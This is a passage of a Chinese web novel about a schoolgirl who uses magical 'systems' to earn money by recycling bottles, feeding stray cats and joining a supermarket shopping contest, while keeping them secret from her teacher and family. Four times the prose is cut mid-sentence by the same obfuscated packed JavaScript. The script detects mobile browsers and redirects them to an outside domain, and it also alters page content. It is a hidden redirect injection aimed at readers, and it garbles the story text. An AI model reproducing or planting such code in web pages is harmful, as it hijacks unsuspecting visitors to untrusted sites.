“它们说【还没摸就有小鱼干！】【真是善良的巨人。】地上那只勾你裤腿的猫在说【还有我，分我一点。】，都在夸你呢。”吴琦月继续翻译流浪猫的叫声。 “还有呢？系统上什么都没显示？没有触发什么任务吗？” 吴琦月盯着仅她可见的粉色电子屏幕，屏幕中央只有一行字：“还未发现动物委托，请多留意。” “因为你站太远了，”苏宁宁比她还急：“你和猫咪没有互动，所以没有办法触发委托吧，你过来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880437|159790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一起喂猫看看呢？” 吴琦月靠近石凳，有流浪猫在她脚边嗅了嗅。 【这里有一个新巨人。】【摸摸，有小鱼干吗？】【没有食物的味道。】【没有食物，不给摸摸。】 吴琦月小时候因为太皮被猫咬过，至今有心理阴影，她站着翻译猫叫声，身体一动不敢动：“猫猫对于我没有带食物这一行为表示强烈谴责，苏宁宁你快救我。” 苏宁宁把密封袋递给她，吴琦月接过之后，系统立刻有反应了。 【触发任务：投喂流浪猫。（0/4）】 “好神奇，我真的触发任务了，要喂四只猫，只是奖励多少没显示。”因为小鱼干在吴琦月手里，流浪猫们从石凳上跳下，把她围起来。 【她也有小鱼干了。】【好神奇。】【是魔术吗？】【巨人摸摸，给小鱼干。】【我还要一条。】…… 有只流浪猫甚至就地打滚卖萌，眼睛一刻没离开过她手里的小鱼干。 吴琦月小心翼翼蹲下，手指捏着小鱼干的一端，亲手送到猫的嘴边，猫咪上嘴咬觉得不方便，干脆前肢一抬，抱着她的手腕不放开。 “给你给你，别勾袖子。”吴琦月被吓到松开手指，猫咪咬住鱼干就跑到一边吃去了，系统屏幕显示（1/3）。 喂猫也不是很难，就是流浪猫过于热情，让她有点害怕，吴琦月继续从袋子里捏鱼干出来，喂给其余猫咪。 【恭喜，任务完成，奖励十元。】 啊？ “你那什么表情，任务没完成吗？你已经喂了五只流浪猫了——”苏宁宁话还没说完，就看见吴琦月手中凭空出现一张十元纸币，她很惊讶：“我天啊，新系统这么大方吗？” 吴琦月回忆起这些回收瓶子的艰难日子，好吧虽然只有短短三天，却仿佛经历了漫长岁月，她不敢相信动物委托居然比捡瓶子来钱快多了，完成这个任务甚至不需要五分钟！ “不公平，太不公平了，我要投诉，我要给回收系统写差评！” 苏宁宁看完整个流程，确实没发现新系统有什么异样，但是考虑到吴琦月家里的经济状况，她说：“现在瓶子不好收集，更别说升级兑换档了，一万个瓶子数量真的很多！既然动物委托系统来钱快，不如你就别解绑了，两个系统一起用吧。” “那可不行，说好给你绑定的，我不会出尔反尔。你比我擅长和小动物打交道，系统给你绑定才能发挥最大作用。” “你不绑定，也没有合适的人选，我没什么耐心的，我爸妈，算了吧，一个生着病不能折腾，一个找工作遥遥无期，我哥呢只会玩游戏，我姐，我没见过她和小动物独处过，不敢想象那个画面……” “至于家里的事，我相信以后还会有新的系统等着我捡的，到时候我给家里每个人都选一个合适的绑定就行。” 苏宁宁掰手指计算着：“我白拿这么好的系统，实在是心里过意不去。这样吧，在系统里赚到的钱我们八二，不，七三，我七你三，怎么样？” 11. 第十一章 “我什么都不用做，就能白拿钱，”吴琦月不敢相信自己的耳朵，“我听到了什么，我这么幸福吗？” “快点答应吧，过了这村就没这店了，小心我反悔收回之前的承诺。”苏宁宁傲娇叉腰。 “我当然要，我是高兴得不知道怎么夸你了，宁宁你人太好了，下次有你喜欢的系统我第一时间联系你！”吴琦月激动地摇她胳膊： “虽然距离一万个塑料瓶还遥遥无期，系统里三百多的余额还不能提现，但是有人美心善，还喜欢小动物的你帮忙，很快我就能攒够钱，然后一起买摆件赔给李老师。” “那当然，我绑定系统之后一定会努力触发委托，有蚊子又怎样，蚊子也有它们的需求，”苏宁宁下巴翘得老高，一副势在必得的样子：“你就等我好消息吧！” 流浪猫们吃饱喝足后就不见了，吴琦月和苏宁宁两人回到存放站更换系统绑定。粉色屏幕重新出现在眼前，苏宁宁深吸一口气，按照流程绑定系统。 “别紧张，这次的动物委托系统很好理解的，你要是嫌烦了嫌吵了随时都能解绑，甚至完成任务之后它会主动把奖励提现出来，相当善解人意。” 苏宁宁点点头，听了这番话她安心多了。 吴琦月回家后已经九点，爸爸吴江还没回来，二姐住校，一般周末回一趟家，大哥也回校了，家里只有她和妈妈李素梅。 对于家里急用钱这件事，吴琦月自认为是家里有人生病的概率很大，电视剧都这么演，所以她观察家庭成员，答案显而易见，可能是妈妈的病急需用钱。 这个想法就很吓人，苏宁宁听了她的猜测之后连忙呸呸呸，叫她不要乱说话。 吴琦月看见李素梅在弯腰拖地，偶尔有几声咳嗽，就倒了一杯温水给她，然后上前接过拖把：“妈，我来拖，你坐着休息吧。” 李素梅正好累了，就坐在沙发上喝水，看小女儿拖地。 “散步回来了？” “嗯，外面景色挺好，我还喂了猫呢。” “我攒了几个空瓶子，你还要吗？” “当然要！”吴琦月有些开心，想着有瓶子回收最起码不会自动解绑，于是拖地更卖力了，没看见李素梅脸上神色凝重的表情。 …… 一夜无梦，吴琦月精力充沛，去上学的路上没有忘记把纸箱带着。 早早到了学校，她偷摸去趟了九班，还好教室里人少，没人注意她，吴琦月庆幸陈千星的座位就在窗户边，她假装顺路，然后动作自然地把纸箱放在陈千星桌子上。 心里落下一块石头，吴琦月整个人轻松不少。 回到教室，苏宁宁也到了，她从兜里掏出三块钱，一张一张码在吴琦月课桌上。 “赏你的。” “这速度可以啊，你昨晚给蚊子讲故事了？” 苏宁宁姿态优雅地从书包里拿出课本，一边语调轻快地回答：“这天气哪来的蚊子，我只是给我家的观赏鱼解决了一件鱼生大事。” “说来听听。” 苏宁宁说，她在回家路上就开始盘算着要和家里养的观赏鱼交流交流。 她先是抓了一把鱼食，但是没有触发委托，观赏鱼在水里游来游去，也不像猫狗那样经常会叫。 于是她在鱼缸旁边等了半小时，直到她爸打开电视，正好播放一段流星雨夜景的新闻，观赏鱼就开始说话了。 “鱼说话？好离谱，它说了什么？” “鱼怎么不会说话，平时它咕咕吐泡泡不就是在说话吗，总之，那几条鱼一直在重复【夜空】【熟悉】这几个词，直到我爸换台。” 接着她就触发委托，系统要求她给观赏鱼看夜空。苏宁宁用换水的鱼缸把几条鱼捞出来，搬去她房间的窗台上，然后说，看吧，你们抬头就是夜空，今晚还有星星，超级美的。 “这样就完成任务了？” 苏宁宁点头。 几条鱼一起抬头看夜空，这个画面怎么感觉这么熟悉，仰望星空派？ 教室里学生渐渐多了，吴琦月把三块钱收好，这时有同学拿着报纸过来问： “吴琦月苏宁宁，你们和卓宇合照了？”“居然都上报纸了，这么大件事这么低调？”“什么什么合照我错了啥？”“天哪真是卓宇！”“我也要看！”…… 班上议论纷纷，两人一下子成为话题中心人物，有问演唱会那天出事是真的吗，有问怎么和卓宇合照的，还有问卓宇本人帅不帅的，大家七嘴八舌，吴琦月和苏宁宁都耐心解答。 “她们真有钱啊，还能去看演唱会。”“对啊，还能和偶像合照，肯定要买很贵的票才行吧。”“咦咦咦爸妈辛苦工作，她们倒是享福了，不知羞～” “你们在瞎说什么？”吴琦月可不乐意，她站起身辩解：“这是我亲戚给的票，你家有亲戚要是疼你爱你，也会给你演唱会门票，如果没给，你应该反思反思你自己，是不是平时不会说话，一张嘴净得罪人！” 那几位造谣的同学瞬间闭嘴。 苏宁宁默默竖起大拇指。 闹剧暂停，班主任进来组织大家布置考场，准备期中考试。路过吴琦月的时候，还特地要她中午考完试去办公室一趟。 吴琦月有不好的预感。 上午考完语文，她就内心忐忑不安去找班主任，班主任姓周，是刚大学毕业的女教师，主教数学，开学的时候会阳光明媚的自我介绍，结果两个月过去，人不常笑了，还硬生生熬出黑眼圈来。 班主任抬头看见吴琦月，就让她靠近些。 “周老师，您叫我来有什么事吗？” “也没什么事，就是你昨天扫楼收塑料瓶了，对吗？是这样的，其他老师看到所以才告诉我，你和我说说，你收集这些瓶子有什么用？” 这么快就被发现，看来扫楼计划要作废。吴琦月略显尴尬，回答：“周老师不好意思，不会有下次了。” “知道就好，你以后别做这些事，顾及一下班级形象。” 吴琦月应下，班主任又对她反复强调几遍，才放她离开。 这两天期中考，吴琦月也将心思放回学习上， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880438|159790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下午放学没有去垃圾存放站，而是径直回家，想要临时抱佛脚，多考几分。 连续考了两天，学生考得累，老师改卷改一天也很头疼。 周老师作为相当负责的数学老师兼班主任，更是熬夜把班上每个学生的成绩统计排列，打印出来后，她一个一个查看分析。 那些平时上课认真听讲的学生都有不错的成绩，而平时上课不认真，倒头就睡的学生，比如吴琦月，周老师几乎是马上想起这个名字，然后在成绩单上查找，果不其然排在后面。 “我该想到的，上课走神，下课闲聊，课后也没有认真学，考得好才有鬼。” “课余时间还喜欢收集塑料瓶。”周老师很无语。 “我会不会错怪她了？万一捡瓶子是因为家庭困难，然后因为家庭困难所以没心思学习，也不是没有可能的，如果真是这样，我那天中午说话语气是不是重了点？”周老师自动脑补了前因后果，越想越觉得有道理，因此非常内疚：“我太不称职了，不知班上学生有没有比我了解她的情况？不行，明天去问问。” 第二天课间，周老师得空去班上，想找吴琦月约时间谈谈心，可惜没找到人，于是先叫科代表去办公室拿改好的试卷发下去。 周老师坐在办公室，她的科代表在整理试卷，想着大家都是同学，肯定比她了解吴琦月的情况，就开口问： “吴琦月同学家条件很困难吗？” 科代表表示很惊讶，回答她：“怎么可能，我听同学说她上星期去了卓宇的演唱会，还和他拍照上报纸，我都看见了。” 周老师不知道卓宇是谁，向科代表请教后才知道卓宇是位有名气的歌手。 “一张演唱会门票都要好几百呢，更别说还要和歌手合照，肯定要花很多钱。” “这样啊。”周老师开始头脑风暴。 “周老师，要是没事的话我就先回去了。”科代表整理好试卷，和她告别。 “行，我基本了解了，你先回去吧。”周老师表情严肃，大脑疯狂转动着，她想到了另一种可能。 因为追星所以想去参加演唱会，但是门票太贵家长不让买，所以吴琦月同学开始四处搜罗废品去卖，放学时间还要打零工，进而影响学习导致考试没考好，再严重一点，要是背着家长借钱什么的…… 周老师不敢继续想下去，太可怕了。 叫家长，必须叫家长！ “吴琦月，周老师喊你去办公室找她！” 我最近也没有收集塑料瓶，怎么还找我？吴琦月很疑惑，到办公室里，她听完班主任的一通分析之后就更疑惑了。 “老师，演唱会是苏宁宁的小姨带我们去的，我一分钱没花，不信你可以问问她。” “那合照怎么解释？普通门票还能和偶像合照吗？” 又是合照，早知道就不合照了，居然惹出这么多麻烦还很难解释。吴琦月看周老师一脸“我就知道是这样”的表情，然后听见她说： “我已经通知你家长来学校了解情况，你做好准备。” 12. 第十二章 “老师您怎么这样，还没有了解学生的真实情况怎么能贸然叫家长过来？”吴琦月觉得她唯一犯的错就是上课没认真听，考试没考好，可这也不至于被叫家长啊，她因为系统的事情一直瞒着家里所有人，老师这做法难道不是在给她添堵吗？ “我怎么不了解，我很了解啊，你看，因为缺钱，所以想办法挣钱，因为精力全用在挣钱上，所以上课无精打采，考试成绩就很差，这个逻辑很顺啊，老师说的哪里不对吗？” 吴琦月按着老师说的话复盘这几天的行动。 …… 一模一样，还真被她说对了。 “家里是你爸接的电话，你爸爸是硬件工程师吧，他这么忙还有时间来学校了解你的情况，说明他是很关心你的，你要是有难以解决的问题，应该向爸妈或者向老师求助，而不是自己一个人解决……”周老师语气放缓，苦口婆心劝导吴琦月，生怕她误入歧途。 吴琦月只觉得天要塌，以往上学的时候，都是妈妈接学校老师的电话，也是妈妈来开家长会，这就给了她侥幸心理，只要在学校做错事，事后和妈妈认真道歉，过段时间又能继续兴风作浪。如今爸爸要来，如果被他知道自家女儿上课不听讲，下课收瓶子，她今晚还能活着回家吗？ 现在是周五下午，再上两节课就到了周末，同学们都欢欣雀跃的，唯独吴琦月一脸紧张，笑都笑不出来。 “怎么从班主任那回来之后一直闷闷不乐的，你被她骂了？” “今天不能和你一起放学，我被叫家长了。” 苏宁宁表示很惊讶：“这么突然吗？” “嗯，来的还是我爸。” 苏宁宁知道吴江叔叔的脾气不好，只能安慰她：“你今晚要是回不去，被赶出来，我家也是欢迎你的。” 吴琦月摇头，爸爸喜欢成绩好的孩子，所以对二姐非常满意，有求必应，对大哥和她从一开始的信心满满到后面放任不管，甚至对她俩下达最后通牒，读书可以不行，但是惹上事！ 吴江后半句没说完就让吴琦月汗流浃背。 不敢想啊，如果让老爸知道她在学校里收集塑料瓶，他一定会觉得这样很丢脸，不会一怒之下给她一耳光吧？ 烦死了，还有系统这些事情，怎么想都不适合告诉他。 “还有一件事我想和你讨论。周老师和我说，如果我有困难可以求助家长。其实我觉得她说得对，自从绑定系统之后我压力很大，每天惦记怎么收集瓶子，怎么升级兑换档，还想如果再捡到系统要怎么给家里人绑定，压力真的太大了……”吴琦月失去所有力气，趴在课桌上惆怅。 苏宁宁还想用回收系统的规则警告她，可看着吴琦月整个人毫无活力的样子也说不出口：“你要是想让多一个人知道，我觉得告诉阿姨也不是不行。” “怎么说？”吴琦月头转过来，换个姿势趴桌子。 “我也只是建议，你要想告诉你大哥或者二姐也行啊，大家都是年轻人，接受程度都比较高。” 吴琦月也思考过这件事，一家五口，除了老爸，二姐和大哥都不常在家，告诉他们也很难帮上忙，而且她和妈妈相处的多，比较亲，如果一定要有第三个人知道系统的事情，她也会选择告诉妈妈。 就这么决定，找个机会和妈妈说回收系统的事情吧。 如果今天能回家。 吴琦月从没有觉得周五下午这么难熬，她迫切希望时间再慢一点，或者爸爸有事来不了，怎么样都行，就是不想让他知道这些事。 再不愿意，放学铃声还是按时响起，教室里的同学陆陆续续离开，苏宁宁收拾好书包也回家去了。 吴琦月站在办公室门口，倚在栏杆上，内心紧张地注意每一个从楼梯口出来的人，她想第一时间辨认出来，可是她忘记爸爸早上穿的衣服。 时间慢慢流逝，吴琦月紧张到发抖，她很想拔腿就跑，找一个没人的地方躲起来。 所以当妈妈出现在楼梯口时，吴琦月简直不敢相信自己的眼睛，她高兴得说不出话，这简直是意料之外的惊喜，她甚至感动得想哭。 太好了，今晚可以安全回家！ 李素梅还想在办公室门口和小女儿说几句话，却被周老师热情带进办公室里交谈。 吴琦月在走廊等待，直到两人一脸轻松从办公室里出来。 “不好意思啊周老师，月月给您添麻烦了。”李素梅对周老师弯腰表示歉意。 “没有没有，是我的错，我以为同学会更了解情况，没想到这些都是误会。”周老师有些内疚。 吴琦月主动走上前和妈妈站在一边，李素梅让她和周老师道歉：“你学习不好让老师担心，所以才惹出这么多麻烦，还不快点和老师道歉？” “周老师对不起，我以后一定认真上课，好好学习。” “我也要和你说对不起，之前是我误会你了。” …… 和周老师告别后，吴琦月跟着李素梅回家，她心里乐开花了，以为误会就此解除，回到家后积极在厨房打下手。 可李素梅不怎么开心，一副愁眉不展的样子。 “月月，你最近没有被别的同学欺负吧。” 吴琦月淘米的手一顿，心想一波未平一波又起，这又是听谁说的？ “没有啊，我一直好好的，没人针对我。” “文文回校前和我说，你卧室晚上有噪音，你给她开门她看到卧室满地都是你扔的衣服和书本，以为你在发泄情绪。我一直以为你收集瓶子去卖是为了攒零花钱，可是你有些太努力了，还经常晚上出去很晚才回来，你真的不是被同学威胁交保护费所以才这么努力攒钱吗？” “老妈这都什么年代了，哪里还流行收保护费……”吴琦月有些哭笑不得。 “别打岔，要是有人欺负你，或者你有解决不了事情，完全可以和我们说，我们毕竟是大人，解决问题的能力会高一些。” “妈，没有人欺负我，不管是卧室出现噪音，还是花费很多时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880439|159790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间捡瓶子，这些事情我都可以解释。”吴琦月几次想要说出口，又害怕妈妈不相信：“但是您得答应我，等下我要讲的事情，不管相不相信，都不能让其他人知道。” 豁出去了！ 吴琦月从卧室拿出一个空塑料瓶，示意李素梅不要害怕，然后她手心握住塑料瓶。 塑料瓶瞬间消失，蓝色电子屏幕浮现在母女眼前，同时客厅响起没有感情的机械音： 【检测到塑料瓶】【进行回收】【回收成功】 【当前余额351.70。】 【警告，回收系统已被三人发现，若超过三人发现系统的存在，系统会自动解绑，请用户小心体验。】 【警告……】 李素梅久久不能回神。 吴琦月花了时间和她解释系统怎么来的，怎么使用。 “我本来只是把它当做获取零用钱的一种方式，可是演唱会那天晚上我听见爸爸说家里很急着用钱，所以我着急了，想要快点升级兑换档，就花了很多精力收集瓶子。”吴琦月把真实情况说出来。 李素梅听完，叹了口气：“你没有被欺负就好，妈妈答应你不会把这些说出去。” 吴琦月如释重负，又问：“那天爸爸说缺钱急用，是因为家里出事了吗？” 李素梅一想起这件事就来气：“你姥姥姥爷年纪都大了，现在需要出钱多请一个看护，但是你爸好面子，之前把家里的积蓄借给朋友投资，结果朋友转头全拿去赌博了，现在一分钱都还不上。因为这事，我没少和他吵架。” “我可以帮上忙吗？我看要债挺难的，回收箱时不时会有新系统出现，我再捡几个能挣钱的带回家，大家分一分就好了。”吴琦月安慰妈妈。 天上掉馅饼的事，连着出现两次就烧高香了，她不能把希望寄托在来路不明的系统上。李素梅心里这么想，却不好这么对小女儿说。 “你能为家里分忧妈妈很高兴，只是家里急用钱的状况不是一两个系统就能解决的，系统你可以接着使用，但不需要这么着急去升级。” “为什么，早点升级就能把钱提现出来不是吗？”吴琦月不理解。 “你想，等到兑换率1：1之后只剩十天时间，可是你一个一个找，没有大量囤积的塑料瓶可以马上回收，十天一过最多能提现几千块，你没有提前做规划就很亏呀！” 好有道理。吴琦月从没想过这个问题。 因为这个回收系统能挣的钱太少，所以她努力捡努力回收，是想早日升级提现，然后就不用在这个系统上分心了，更别说她中途一度难受到想放弃，而且以后还有很多更赚钱的系统可以使用，这个系统扔掉就好了。 可是妈妈的话让她醍醐灌顶，全世界每时每刻都有人在使用塑料瓶，如果最后十天她可以一刻不停的进行回收，那将是一个很可观的数字。 毕竟演唱会那天她回收三千个瓶子才用了二十分钟！ 所以，到底要怎样才能收集到足够多的塑料瓶呢？ 13. 第十三章 吴琦月穿着睡衣坐在书桌旁，罕见的拿出纸笔为最大程度使用回收系统写未来规划。 第一步，她需要存放塑料瓶的空间，要多大有多大。 吴琦月上网找了资料，计算出在码放整齐的情况下，一立方米可以容纳1100个左右，容量为350ml的塑料瓶。 但回收瓶子一般随意堆放，因此会浪费近1/5的空间，加上瓶子种类不同，设计不同，容量大小也不一样，再除去底层损耗，这么一来，一立方米能回收600个塑料瓶。 系统回收的反应速度很快，几乎是掌心接触秒消失，如果在收集塑料瓶的时候对瓶子进行严格的筛选，那一分钟回收一立方米的瓶子完全不是问题。 六十分钟，就能回收60m?空间，36000个瓶子。 吴琦月敲了五遍计算器，不敢相信自己的眼睛。 一个小时居然能赚36000元。 系统倒计时10天，如果每天回收6小时，回收60个60m?的空间，就能提现200w。 吴琦月没见过这么多钱，但她知道200w能解决很多困难。 可是去哪里弄来这么多的空间呢？如果真有这么多空间，把它们租出去不是更挣钱吗？ 吴琦月把空间两字圈起来，在旁边写上问号。 第二步，是回收宣传。从演唱会那天她就学到了，一个人卖力吆喝不如让有名气的人物讲上一句，宣传到位收集瓶子是非常容易的。 怎么宣传？ 发传单/名人效应/群发消息/自己当明星/登报纸…… 吴琦月把所有能想到的宣传方式都写上，想以后有机会可以逐个尝试。 她手指不停按压弹簧笔，安静的卧室响起哒哒哒的声音，直到手机亮起屏幕，吴琦月打开手机，看到苏宁宁发来的信息： 苏宁宁：【今天下午顺利度过了吗，现在还好吗？】【几只流浪猫.jpg】【我家楼下的猫都让我摸遍了，触发了好多委托。】 吴琦月被猫咬过，还是觉得猫可爱，她把图片点开放大，欣赏够了才退出来回答：【下午非常顺利，我爸没来，来的是我妈，回家之后我把回收系统告诉她了，她答应我不会说给其他人听。】 苏宁宁：【赞！危机解除！】【我明天要去动物园，你要一起吗？】【我有预感明天会触发很多委托！】 吴琦月也想去，但眼下还有更重要的事情要做： 【我妈还没去过垃圾存放站】【明天带她参观参观】【所以不能和你去动物园了……】 苏宁宁：【好吧】【求求你改一下称呼，是系统回收站，垃圾存放站怪难听的。】 吴琦月哼了一声，扑上床接着打字闲聊。 …… 主卧亮了一盏小夜灯，夫妇俩这时还没睡，吴江看到李素梅在看手机短信，就问：“今天下午你去学校，情况怎么样？” 李素梅打算糊弄他：“月月期中成绩不好，老师找我了解一下情况。” 吴江脸上一副我就知道的表情：“上个星期的演唱会就不该让她去，纯纯浪费时间，影响学习。” 还好不看报纸不关注娱乐新闻。李素梅心想，要是被他知道月月还和明星合照他不得掀翻这个家。 “从演唱会回来的晚上，她听到你给人打电话要钱，这一周精神都很紧张，你不关心一下吗？” “我关心她干什么？她书也不读，一天除了吃就是玩，一点烦恼没有，比我潇洒多了。” “我知道你不会说，所以我把你借钱给朋友投资的事情跟月月说了，她天天和我们住在一起，这事想瞒瞒不了。” 吴江听完瞬间来气：“李素梅你有必要吗，我知道你在怨我拿不出来岳母岳父两人的陪护钱，我也没闲着，除了面试还一直在努力要债。 “今天去他家，五六个人高马大的债主一起堵着门，门上涂满红油漆，他人呢，跨在阳台栏杆上闹着要跳楼，说钱还不上，不如死了一身轻，警察来了都没有办法，那我能怎么办？”吴江越说越气愤： “不过一时看错人，你有必要和孩子们揭我底让我难堪？” “你再大点声，这件事连邻居都知道了。”李素梅急到咳嗽：“你面子重要，比我们都重要！” “我不和你吵。”吴江背对李素梅躺着，任她再说什么都不回应。 …… 第二天一早，吴琦月提出要带李素梅去系统回收站看看。 这条巷子李素梅也很熟，可她从来没注意到这里设置了回收站。 李素梅走进这个不大的空间，又走出来假装经过，还是觉得不真实，路过的时候总认为这块地方是一片空地。 吴琦月向李素梅展示回收站里的的里面六个垃圾桶，和她说了第一天没绑定系统时，费劲踩了四桶塑料瓶的糗事。 “还有这里，是系统出现的地方，到目前为止一共一周时间，出现了两个系统，没有上锁的，你看！”吴琦月把系统回收箱的盖子打开，李素梅凑上前往里看，里面空空如也。 看妈妈半信半疑的表情，吴琦月极力解释：“回收箱挂靠的墙壁很结实，我也不知道系统怎么出现的，当时我在弯腰踩瓶子，然后出现很闷的撞击声，咚一下，系统就出现在回收箱里。” “妈妈没有不相信你，只是觉得整个过程有点奇幻，和我想象的不一样，你继续说吧。” 那不还是不相信吗？吴琦月泄了气，耸肩表示讲完了。 回收站里陷入漫长的沉默，李素梅看时间不早，表示要回家收拾收拾，准备午饭。 吴琦月不死心，又打开盖子查看，想着不管是什么系统，随便来一个吧！ “咚——” 一颗发着光的怪球就这么凭空出现在她眼前，落入箱底发出一声闷响。 吴琦月愣了几秒，接着把发光怪球从箱子里拿出来，展示给门口等待的李素梅看：“妈，就是这个会发光的球！” 回收站周围很安静，李素梅也听到了闷响，一时惊讶到说不出话来。 “这个球长得不一样，外层是龟背纹——哇吓我一跳！”吴琦月手里的球突然动起来，吓得她松开了手。 “没伤到你吧？”李素梅护着吴琦月。 那个发光怪球漂浮在半空，投影出一块巨大的电子屏幕，屏幕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880440|159790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 画面显示很多人推着购物车来来往往，应该是某间超市的实时画面。 【欢迎激活系统】 【正在扫描——】 怪球发出蓝色的光照在两人身上，李素梅有些担心：“月月，这个系统真的安全吗？” “很安全，它会出现绑定提示，不会乱来的。” 【自动绑定成功】 …… 啊？ 【亲爱的用户0933你们好，这里是限时超市采购系统，我们接收来自不同世界的采购委托，并以此举办限时比赛。】 【系统会在比赛开始时发放预算虚拟货币，货币在比赛结束后清零。】 【请按照委托要求进行采购，并在采购结束后全部上交系统，委托人会从中选出一份满意的采购样本进行使用。】 【被委托人选中的用户则视为本场比赛冠军，将获得十倍预算的奖金，以及六次系统技能升级次数。】 【其余样本按照冠军为标准进行排名，前10%的用户获得六倍预算奖金，三次系统技能升级次数；前40%的用户获得三倍预算奖金；剩下60%的用户淘汰，系统自动解绑，采购物品返回给用户，可自行处理。】 系统话太密，李素梅听得晕晕的，反应不过来：“月月，它在说什么？” “有一千多人同时帮委托人采购，比赛结束选出一个冠军，所有人按照冠军买的物品种类相似程度进行排名，排40%前有钱拿，排不到的就把采购物品带回家。”吴琦月快速总结：“赢了更好，但输了也不亏的游戏。” 吴琦月看到屏幕上有技能栏： 【商品价格.lv1】【升级后价格八折】 【商品数量.lv1】【升级后数量翻倍】 【商品质量.lv1】【升级后延长一倍保质期】 李素梅表示完全读懂了规则，用她自己的话理解，这就和当别人家保姆一样，按照雇主要求采购物资，雇主满意了就有奖金，雇主不满意就卷铺盖滚蛋。 【距离下一场限时采购还有五十分钟，请编号0933迅速到附近的大型超市进行准备。】 【下一场限时采购委托人：末日一家三口。预算5000】 “妈，我们要去比赛吗？”吴琦月试探询问大人意见，她内心已经燃起来了。 “看你这样子，我不去你也会偷偷参加，”李素梅一眼看穿吴琦月心中所想：“赢了输了都不亏，我们一起参加吧。” 离这最近的大型超市，坐车加走路要花费半个小时，两人即刻动身，在路上思考要采购的物品。 “如果现在是末日，用水用电困难，我们拿着五千块钱进行采购，会买什么？”吴琦月坐在公交车上自言自语：“首选方便携带，保存时间长的，比如方便面，罐头，饼干，糖果，小瓶的水，保温毯……” 李素梅在一旁插一句：“可惜一家三口，孩子年龄多大也没说，要是年纪小，还要准备药品，奶粉，玩具什么的……” “药品确实要考虑，末日受伤的可能性太高了，可是玩具就没必要了吧，都末日了还要什么玩具？”吴琦月不理解老妈的脑回路。 14. 第十四章 “哪怕环境再恶劣，只要小朋友开心健康，做父母的心理压力就没那么大。同样的，我也希望你们三个孩子都好好的，吃得饱睡得香……” 公车缓慢行驶，吴琦月笑了笑，把头靠在李素梅肩上。 两人到达超市时，系统音在耳边响起：“编号0933已就位，距离本场限时采购赛开始还有十分钟，请做好准备。” 吴琦月来过这间超市，超市一共三层，一层是食物专区，二层是生活用品区，地下一层卖家庭电器。现在是周末，超市里人很多，她拿来两辆手推车，分给妈妈一辆。 “还有一点时间，我们做个计划。” “等会我们分开采购，一层买小瓶的水，即食粥，饼干，罐头，肉干果干，火腿肠，巧克力，坚果，糖和盐。二层买药，感冒药止痛药，绷带碘酒创可贴，还有什么来着，纸巾……” “别急，妈你喘口气。”吴琦月看李素梅说话激动到手抖，有些担心她：“我去超市二层，买一千左右的药品，还有保温毯睡袋手电筒，刀具绳索打火机等等等等，我看到合适就拿下，能花三千多。” 身边经过的顾客有些好奇地看向她们。 “好，我在一层买吃的，剩余一千多也够了。”李素梅缓了缓：“还有，我还担心一件事，系统发预算虚拟货币能在超市使用吗？” 因为出门急，她一时间拿不出这么多钱，万一被超市工作人员当成找茬的就太丢脸了。 【本场限时采购赛即将开始，本场采购委托人：末日一家三口，预算5000。】 【正在发放预算虚拟货币，请编号0933进行查收。】 李素梅手里突然出现一张蓝色卡片，卡片表面布满镭射纹，只是卡面上一个字都没有，也不知道是从哪家银行来的，她现在心里更没底。 系统不会骗人玩吧？ 【倒计时，十，九，八，七……】 吴琦月和妈妈兵分两路，临走前李素梅把蓝卡给她，因为药品是单独结算的，她听着倒计时播报，推着超市购物车直奔二层。 【……二，一。】 【比赛开始，采购限时一小时。】 二楼药店的药剂师看一个女孩风风火火赶来，脸上是紧张的神色，以为出了急事，就主动问她：“有什么需要帮助吗，看你很着急的样子？” “有止痛药感冒药——算了，基础的药品急救的药品都拿一些给我！” “好，好的。” 药剂师带着她进店，凡是经过货架，吴琦月觉得用得上的，就拿出几盒放进购物车里，这番举动过于稀奇，所有人目光看向她。 购物车快要装满，吴琦月觉得还不够，最后倒进去十几瓶维生素和钙片，塞满角落空余位置。 “差不多了，快结算吧，我还有其他要买！”吴琦月把一大车药品推到药店门口结算，这时已经过去十五分钟。 